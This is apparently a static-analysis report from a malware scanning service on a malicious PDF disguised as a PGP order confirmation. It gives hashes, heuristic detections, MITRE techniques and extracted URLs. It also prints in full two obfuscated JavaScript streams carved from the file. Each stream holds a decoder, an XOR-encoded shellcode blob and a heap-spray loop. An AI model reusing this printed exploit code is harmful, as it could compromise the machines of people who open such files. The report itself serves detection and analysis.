Malicious PDF — malware analysis report

Static analysis result for SHA-256 c7956be3c29e89b9…

MALICIOUS

PDF

20.0 KB Authoring application: null First seen: 2026-05-11
MD5: eb9f9b7e1b14110c587dd70e80ef3227 SHA-1: 5239397781d159b5086ed00ab67ee34adbd4ea55 SHA-256: c7956be3c29e89b9ef094fbcd6c0992f658b017fc4a4cc9a080e914309896da6
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The JavaScript uses functions like unescape() and String.fromCharCode() for obfuscation, suggesting it's designed to download and execute a second-stage payload. The document body mimics a PGP software order confirmation, with a suspicious URL pointing to 'customers.p' likely serving as the lure for the malicious download.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    stream
                                  var Olui8Dd1di=1;function yryxu(RFjIK5r1kGp,IIPL){var ePdN5Eaea="";while(--RFjIK5r1kGp>=0)ePdN5Eaea+=IIPL;return ePdN5Eaea;};var Ab604su1hLj;var GEh9gGeR=0;function oN1dmNnSF(GyA7v0EVUB6){var mPOITQ4Vm='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var KsfNE,TN8CeP9Mo,xvopG,bTTo4DIHuK,result=[];for(bTTo4DIHuK=0;bTTo4DIHuK<GyA7v0EVUB6.length;bTTo4DIHuK++){if(GyA7v0EVUB6.charAt(bTTo4DIHuK)=="="){break;}KsfNE=mPOITQ4Vm.indexOf(GyA7v0EVUB6.charAt …
endstream
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://customers.p In PDF document text
    • https://support.pgp.comIn PDF document text
    • https://customers.pgp.com/download/lookup?oid=1248198-0f2b1e4cb5db36f055803cb40f5735feIn PDF document text

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x3E0F 4225 bytes
SHA-256: adee1edd95e603a67a0d48751a547214523fada1fbecd7694de15e3eb8d1938c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 87 of 140 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation. Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Olui8Dd1di=1;function yryxu(RFjIK5r1kGp,IIPL){var ePdN5Eaea="";while(--RFjIK5r1kGp>=0)ePdN5Eaea+=IIPL;return ePdN5Eaea;};var Ab604su1hLj;var GEh9gGeR=0;function oN1dmNnSF(GyA7v0EVUB6){var mPOITQ4Vm='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var KsfNE,TN8CeP9Mo,xvopG,bTTo4DIHuK,result=[];for(bTTo4DIHuK=0;bTTo4DIHuK<GyA7v0EVUB6.length;bTTo4DIHuK++){if(GyA7v0EVUB6.charAt(bTTo4DIHuK)=="="){break;}KsfNE=mPOITQ4Vm.indexOf(GyA7v0EVUB6.charAt(bTTo4DIHuK));xvopG=bTTo4DIHuK%4;switch(xvopG){case 1:result.push(String.fromCharCode(TN8CeP9Mo<<2|KsfNE>>4));break;case 2:result.push(String.fromCharCode((TN8CeP9Mo&0x0f)<<4|KsfNE>>2));break;case 3:result.push(String.fromCharCode((TN8CeP9Mo&3)<<6|KsfNE));break;}TN8CeP9Mo=KsfNE;}return result.join("");};function qm23Ab0z(oA3Jqqu0Ez){var GyA7v0EVUB6;var ePdN5Eaea="",EKMvJiOaS=0;if(!GEh9gGeR){Ab604su1hLj=new Array(0x91, 0xf0, 0xa9, 0xf3, 0x8a, 0x95, 0xe3, 0xcf);GEh9gGeR=8;}GyA7v0EVUB6=oN1dmNnSF(oA3Jqqu0Ez);var EKMvJiOaS=GyA7v0EVUB6.length;for(var bTTo4DIHuK=0;bTTo4DIHuK<EKMvJiOaS;bTTo4DIHuK++){var e8nlHxp5=GyA7v0EVUB6.charCodeAt(bTTo4DIHuK);var mxbDEGG=e8nlHxp5^Ab604su1hLj[bTTo4DIHuK%GEh9gGeR];ePdN5Eaea+=String.fromCharCode(mxbDEGG);}return ePdN5Eaea;};var tQ0kNf=0;function aozulz(IOd5wz9s,mQ4uG){var g0Uzurmupu=1,kEDfN6nER,J2v6UKCy4A;while(IOd5wz9s.length*2<mQ4uG&&g0Uzurmupu==1){kEDfN6nER+=g0Uzurmupu;IOd5wz9s+=IOd5wz9s;J2v6UKCy4A=kEDfN6nER/25+kEDfN6nER%17;}kEDfN6nER+=J2v6UKCy4A;IOd5wz9s=IOd5wz9s.substring(0,mQ4uG/2);J2v6UKCy4A=g0Uzurmupu;return IOd5wz9s;};function nC8p(lo2u){if(tQ0kNf>0){return;}var eUAgNbM7j=0x033C0000;var iy9y=unescape(qm23Ab0z('tIXMkb+gxrqiw5+Wr+DV+/LAjIa+pduttIWRxrmlxrqmyMrDr+DW+aGUjIa+pduttIWRkbr2xrqgk57Dr+DbrfCUjIa6rdf/tIXKwL/wxrqlwJGRr+Db/KLEjIa99oD/tIWdw7L3xrryw5qQr+DbrafAjIa4odWs')+qm23Ab0z('tIWRkbihxrqik53Gr+DUrKmSjIa9rdP6tIXPl7qmxrqllpGRr+DbraDIjIa4pdaptIXNl7qmxrqiw8zAr+DbraXJjIay99D7tIXPxrqmxrrywJrAr+CFrKjJjIayoYKstIWex+mlxrrywZnEr+DTq/KRjIbupdP8')+qm23Ab0z('tIXPx+/3xrqkxJqRr+DR96PEjIbvp9T6tIWclbL3xrqhw5vHr+DV+fWUjIa69tuttIWRkb73xrqgk5yVr+CHq6HDjIa6oduttIWZwLL3xrqpycrGr+DR+6XEjIa8pNKstIXMkemmxrrwlJzBr+DW/aTAjIbrrIb3')+qm23Ab0z('tIXPlezzxrqpyc+Vr+Db/KHHjIa6rYD7tIXKxLKmxrqikpnHr+DU+vfBjIbppoastIWdlrLwxrr0k5mWr+DS+PDFjIa99tP+tIWeyrvzxrr0yJmSr+Da+PeSjIa684WrtIXKkrmmxrqkkpGSr+DX9vPAjIbu99Gr')+qm23Ab0z('tIWdx7isxrqkx8zLr+CGq6XJjIa98NOptIWdkbL3xrqklszAr+Db/KSVjIa99oastIXMkLL3xrqlk8zLr+CFqfeWjIay94WptIXMke6lxrr0kpnBr+CG96HFjIbs84X2tIXPlezzxrr0kpzLr+CGraHCjIay8dX5')+qm23Ab0z('tIWdw73xxrqpwMjHr+CFqaaVjIa9oIWptIWdleysxrqgx8/Fr+CF/6mSjIbv8Nv8tIXPlrn0xrqhxp2Wr+DUq6mUjIay99P7tIWRwOnwxrqgyMrCr+DbrvTIjIbs84WptIWRwOzzxrqhk8rCr+DT/vPIjIa8oNWq')+qm23Ab0z('tIXKwr2hxrqhyM/Lr+DV96TAjIa8rNT4tIWfyrzwxrr1k5GRr+DW/aTBjIbs89b8tIWZx7+gxrqkyZySr+CH/6mSjIa8rYb3tIXPlezzxrqiw8+Vr+DW//LAjIa/pdb/tIWcw7+lxrqkxc+Vr+Db9qCTjIa5odf6')+qm23Ab0z('tIXKw7mmxrqkwJzDr+DW/6TAjIa/8durtIWcwL6lxrqmxc+Vr+CFqaLEjIa4pdb6tIWdxrKsxrr0kprLr+CG9qHFjIa6pduptIWZw7qlxrr1xZGRr+CA/anBjIa6pYX/tIWZw7qlxrqkxZHKr+DW/aLAjIbppdX3')+qm23Ab0z('tIWZw7qlxrr3lpnDr+DS+6TFjIa/oNuttIWZwLmlxrrzyM3Dr+DQ/qbBjIa8odGqtIWZwbKsxrrywJrAr+DVrPPIjIa6pdWstIWRyrqlxrqhxJ3Br+CA/6LDjIbopdb/tIWcw7KnxrqhwsvDr+DQ/aTAjIa/pYD/')+qm23Ab0z('tIXLw7+lxrrywZ3Dr+DS9/TAjIbs89b/tIWaw72gxrqkxc+Vr+Db/KHIjIbs84X3tIXLy72hxrqlxZHKr+DQ/KKTjIa8o4D/tIWZkOitxrqjkpnCr+DbrfTAjIay8YX7tIWZx7/wxrqnxpzAr+DT+/PIjIa/pdP+')+qm23Ab0z('tIWdxbLxxrqkwJnLr+DU+veWjIbs89D3tIWbx7+gxrqlxpGRr+Db+qHEjIa9oYD/tIWawLujxrqkwMrDr+DX+amUjIa/pdP7tIWexezzxrqplJnHr+DT96XGjIbs89b/tIWakL2gxrqkxc+Vr+CGraGTjIbs84f/')+qm23Ab0z('tIWakL2gxrqkxc+Vr+DQ/KDAjIbv94D/tIXMkbqnxrr3lpmVr+DQ/6bFjIa/oIWptIWRwLqhxrqhkcrDr+CFqaTAjIa7rdb6tIXPxO/3xrr1xczLr+CFqfeVjIa8rYWptIWex72hxrqikZ7Dr+DRqaOWjIa9odWq')+qm23Ab0z('tIWawLmkxrqnw5uWr+DRqqeWjIa88NX2tIWawrjzxrr3ls+V'));var q6JmbU=0x400000;var aH8wmM7=iy9y.length*2;var mQ4uG=q6JmbU-(aH8wmM7+0x38+2);var IOd5wz9s=unescape(qm23Ab0z('tIWYkLv2xrqgk5iQr+DSrKCTjIa79tKstIWYkLv2xrqgk5iQr+DSrKCTjIa79tKs'));IOd5wz9s=aozulz(IOd5wz9s,mQ4uG);BM9OLC9pKr=(lo2u-eUAgNbM7j)/q6JmbU;eMqeNIAe04=new Array();var i1NlphLhb=unescape(qm23Ab0z('tIWQw7Ol'));try{for(i=0;i<BM9OLC9pKr;i++){eMqeNIAe04[i]=IOd5wz9s+i1NlphLhb+iy9y;}tQ0kNf=1;}catch(e){};tQ0kNf=1;};nC8p(0x1C1C1C1C):
javascript_obj0004_001.js pdf-javascript-stream PDF /JS object 4 at offset 0x3E32 4598 bytes
SHA-256: 19995afe5be3d73ee2ac64819d81fe8810456ee3e2d2db03c0422abb057c01a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 88 of 145 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation. Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Olui8Dd1di=1;function yryxu(RFjIK5r1kGp,IIPL){var ePdN5Eaea="";while(--RFjIK5r1kGp>=0)ePdN5Eaea+=IIPL;return ePdN5Eaea;};var Ab604su1hLj;var GEh9gGeR=0;function oN1dmNnSF(GyA7v0EVUB6){var mPOITQ4Vm='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var KsfNE,TN8CeP9Mo,xvopG,bTTo4DIHuK,result=[];for(bTTo4DIHuK=0;bTTo4DIHuK<GyA7v0EVUB6.length;bTTo4DIHuK++){if(GyA7v0EVUB6.charAt(bTTo4DIHuK)=="="){break;}KsfNE=mPOITQ4Vm.indexOf(GyA7v0EVUB6.charAt(bTTo4DIHuK));xvopG=bTTo4DIHuK%4;switch(xvopG){case 1:result.push(String.fromCharCode(TN8CeP9Mo<<2|KsfNE>>4));break;case 2:result.push(String.fromCharCode((TN8CeP9Mo&0x0f)<<4|KsfNE>>2));break;case 3:result.push(String.fromCharCode((TN8CeP9Mo&3)<<6|KsfNE));break;}TN8CeP9Mo=KsfNE;}return result.join("");};function qm23Ab0z(oA3Jqqu0Ez){var GyA7v0EVUB6;var ePdN5Eaea="",EKMvJiOaS=0;if(!GEh9gGeR){Ab604su1hLj=new Array(0x91, 0xf0, 0xa9, 0xf3, 0x8a, 0x95, 0xe3, 0xcf);GEh9gGeR=8;}GyA7v0EVUB6=oN1dmNnSF(oA3Jqqu0Ez);var EKMvJiOaS=GyA7v0EVUB6.length;for(var bTTo4DIHuK=0;bTTo4DIHuK<EKMvJiOaS;bTTo4DIHuK++){var e8nlHxp5=GyA7v0EVUB6.charCodeAt(bTTo4DIHuK);var mxbDEGG=e8nlHxp5^Ab604su1hLj[bTTo4DIHuK%GEh9gGeR];ePdN5Eaea+=String.fromCharCode(mxbDEGG);}return ePdN5Eaea;};var tQ0kNf=0;function aozulz(IOd5wz9s,mQ4uG){var g0Uzurmupu=1,kEDfN6nER,J2v6UKCy4A;while(IOd5wz9s.length*2<mQ4uG&&g0Uzurmupu==1){kEDfN6nER+=g0Uzurmupu;IOd5wz9s+=IOd5wz9s;J2v6UKCy4A=kEDfN6nER/25+kEDfN6nER%17;}kEDfN6nER+=J2v6UKCy4A;IOd5wz9s=IOd5wz9s.substring(0,mQ4uG/2);J2v6UKCy4A=g0Uzurmupu;return IOd5wz9s;};function nC8p(lo2u){if(tQ0kNf>0){return;}var eUAgNbM7j=0x033C0000;var iy9y=unescape(qm23Ab0z('tIXMkb+gxrqiw5+Wr+DV+/LAjIa+pduttIWRxrmlxrqmyMrDr+DW+aGUjIa+pduttIWRkbr2xrqgk57Dr+DbrfCUjIa6rdf/tIXKwL/wxrqlwJGRr+Db/KLEjIa99oD/tIWdw7L3xrryw5qQr+DbrafAjIa4odWs')+qm23Ab0z('tIWRkbihxrqik53Gr+DUrKmSjIa9rdP6tIXPl7qmxrqllpGRr+DbraDIjIa4pdaptIXNl7qmxrqiw8zAr+DbraXJjIay99D7tIXPxrqmxrrywJrAr+CFrKjJjIayoYKstIWex+mlxrrywZnEr+DTq/KRjIbupdP8')+qm23Ab0z('tIXPx+/3xrqkxJqRr+DR96PEjIbvp9T6tIWclbL3xrqhw5vHr+DV+fWUjIa69tuttIWRkb73xrqgk5yVr+CHq6HDjIa6oduttIWZwLL3xrqpycrGr+DR+6XEjIa8pNKstIXMkemmxrrwlJzBr+DW/aTAjIbrrIb3')+qm23Ab0z('tIXPlezzxrqpyc+Vr+Db/KHHjIa6rYD7tIXKxLKmxrqikpnHr+DU+vfBjIbppoastIWdlrLwxrr0k5mWr+DS+PDFjIa99tP+tIWeyrvzxrr0yJmSr+Da+PeSjIa684WrtIXKkrmmxrqkkpGSr+DX9vPAjIbu99Gr')+qm23Ab0z('tIWdx7isxrqkx8zLr+CGq6XJjIa98NOptIWdkbL3xrqklszAr+Db/KSVjIa99oastIXMkLL3xrqlk8zLr+CFqfeWjIay94WptIXMke6lxrr0kpnBr+CG96HFjIbs84X2tIXPlezzxrr0kpzLr+CGraHCjIay8dX5')+qm23Ab0z('tIWdw73xxrqpwMjHr+CFqaaVjIa9oIWptIWdleysxrqgx8/Fr+CF/6mSjIbv8Nv8tIXPlrn0xrqhxp2Wr+DUq6mUjIay99P7tIWRwOnwxrqgyMrCr+DbrvTIjIbs84WptIWRwOzzxrqhk8rCr+DT/vPIjIa8oNWq')+qm23Ab0z('tIXKwr2hxrqhyM/Lr+DV96TAjIa8rNT4tIWfyrzwxrr1k5GRr+DW/aTBjIbs89b8tIWZx7+gxrqkyZySr+CH/6mSjIa8rYb3tIXPlezzxrqiw8+Vr+DW//LAjIa/pdb/tIWcw7+lxrqkxc+Vr+Db9qCTjIa5odf6')+qm23Ab0z('tIXKw7mmxrqkwJzDr+DW/6TAjIa/8durtIWcwL6lxrqmxc+Vr+CFqaLEjIa4pdb6tIWdxrKsxrr0kprLr+CG9qHFjIa6pduptIWZw7qlxrr1xZGRr+CA/anBjIa6pYX/tIWZw7qlxrqkxZHKr+DW/aLAjIbppdX3')+qm23Ab0z('tIWZw7qlxrr3lpnDr+DS+6TFjIa/oNuttIWZwLmlxrrzyM3Dr+DQ/qbBjIa8odGqtIWZwbKsxrrywJrAr+DVrPPIjIa6pdWstIWRyrqlxrqhxJ3Br+CA/6LDjIbopdb/tIWcw7KnxrqhwsvDr+DQ/aTAjIa/pYD/')+qm23Ab0z('tIXLw7+lxrrywZ3Dr+DS9/TAjIbs89b/tIWaw72gxrqkxc+Vr+Db/KHIjIbs84X3tIXLy72hxrqlxZHKr+DQ/KKTjIa8o4D/tIWZkOitxrqjkpnCr+DbrfTAjIay8YX7tIWZx7/wxrqnxpzAr+DT+/PIjIa/pdP+')+qm23Ab0z('tIWdxbLxxrqkwJnLr+DU+veWjIbs89D3tIWbx7+gxrqlxpGRr+Db+qHEjIa9oYD/tIWawLujxrqkwMrDr+DX+amUjIa/pdP7tIWexezzxrqplJnHr+DT96XGjIbs89b/tIWakL2gxrqkxc+Vr+CGraGTjIbs84f/')+qm23Ab0z('tIWakL2gxrqkxc+Vr+DQ/KDAjIbv94D/tIXMkbqnxrr3lpmVr+DQ/6bFjIa/oIWptIWRwLqhxrqhkcrDr+CFqaTAjIa7rdb6tIXPxO/3xrr1xczLr+CFqfeVjIa8rYWptIWex72hxrqikZ7Dr+DRqaOWjIa9odWq')+qm23Ab0z('tIWawLmkxrqnw5uWr+DRqqeWjIa88NX2tIWawrjzxrr3ls+V'));var q6JmbU=0x400000;var aH8wmM7=iy9y.length*2;var mQ4uG=q6JmbU-(aH8wmM7+0x38+2);var IOd5wz9s=unescape(qm23Ab0z('tIWYkLv2xrqgk5iQr+DSrKCTjIa79tKstIWYkLv2xrqgk5iQr+DSrKCTjIa79tKs'));IOd5wz9s=aozulz(IOd5wz9s,mQ4uG);BM9OLC9pKr=(lo2u-eUAgNbM7j)/q6JmbU;eMqeNIAe04=new Array();var i1NlphLhb=unescape(qm23Ab0z('tIWQw7Ol'));try{for(i=0;i<BM9OLC9pKr;i++){eMqeNIAe04[i]=IOd5wz9s+i1NlphLhb+iy9y;}tQ0kNf=1;}catch(e){};tQ0kNf=1;};nC8p(0x1C1C1C1C):
endstream 
endobj 
10 0 obj 
<<
/Producer (null)
/Type /Info
>>
endobj xref
0 11
0000000000 65535 f 
0000000015 00000 n 
0000015541 00000 n 
0000000074 00000 n 
0000015887 00000 n 
0000000169 00000 n 
0000008492 00000 n 
0000015778 00000 n 
0000015664 00000 n 
0000000282 00000 n 
0000020167 00000 n 
trailer

<<
/Info 10 0 R
/Root 3 0 R
/Size 11
>>
startxref
20219
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.